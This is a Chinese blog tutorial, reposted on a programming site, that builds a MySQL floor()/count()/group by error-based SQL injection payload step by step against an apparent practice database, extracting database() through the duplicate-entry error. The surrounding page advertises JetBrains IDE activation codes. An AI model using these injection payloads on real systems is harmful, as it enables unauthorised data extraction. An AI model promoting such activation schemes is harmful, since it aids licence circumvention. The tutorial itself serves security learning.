大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。
Jetbrains全系列IDE稳定放心使用
floor()报错注入准确地说应该是floor,count,group by冲突报错
是当这三个函数在特定情况一起使用产生的错误。
首先看经典的floor注入语句:
and select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
第一眼看起来有些懵逼,我们来从最基本的入手,最后在分析这个语句
首先是floor()报错产生的条件:
select count(*) ,floor(rand(0)*2)x from security.users group by x(自定义数据库的一张表)
这里解释一下x是什么意思,可能有些同学不太熟悉sql语句,floor(rand(0)*2)x的x是为floor(rand(0)*2)添加了一个别名,就是x就等于floor(rand(0)*2),这样做的目的是
让group by 和 floor(rand(0)*2)相遇(请原谅我这么解释),
具体原理这里不再分析,最后会附上几个原理解释链接。
先看直接执行效果:
这里报的Duplocate entry错误就是我们想要的,报错的位置是在floor(rand(0)*2),关于那个 1 是由报错原理决定的,毕竟我们还没有写入任何我们想要的子查询,关于1出现的原因具体可以研究下原理。
下一步我们在报错位置处加上我们想要的子查询,用concat()拼接:
select count(*) ,concat(database(),floor(rand(0)*2))x from security.users group by x
security就是我们想要的数据库名,1是上一步拼接的。
但现在是不是就可以直接使用了呢?还有几个步骤,先看直接拼接到and 后会怎样:
select * from security.users where id=1 and (select count(*) ,concat(database(),floor(rand(0)*2)x) from security.users group by x)
报了一个错,百度一番发现引发这个错误的原因很多,这里我是觉得我们构建的select语句的结果是一个结果表,而and 需要一个布尔值,也就是0或非零的值,那我们在嵌套一个查询,前面说了select 的结果是一个结果表,那我们就可再从这个表执行查询,这不过这次select的值是非零数字:
select 1 from (select count(*) ,concat(database(),floor(rand(0)*2))x from security.users group by x)a
再啰嗦一句,最后这个a和之前解释的x的作用是一样的,是前面括号内容的别名,
sql语句要求在查询结果的基础上再执行查询时,必须给定一个别名。
嵌套进and后执行
select * from security.users where id=1 and(select 1 from (select count(*) ,concat(database(),floor(rand(0)*2))x from security.users group by x)a)
大功告成
我们完成了刚开始引入的floo()注入语句
几个fool()原理解释:
https://www.cnblogs.com/xdans/p/5412468.html
https://www.cnblogs.com/litlife/p/8472323.html
http://www.cnblogs.com/xishaonian/p/6227405.html
转载指明出处
文章同步到我的博客:http://119.23.249.120/archives/276
发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/188412.html原文链接:https://javaforall.cn
【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛
【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...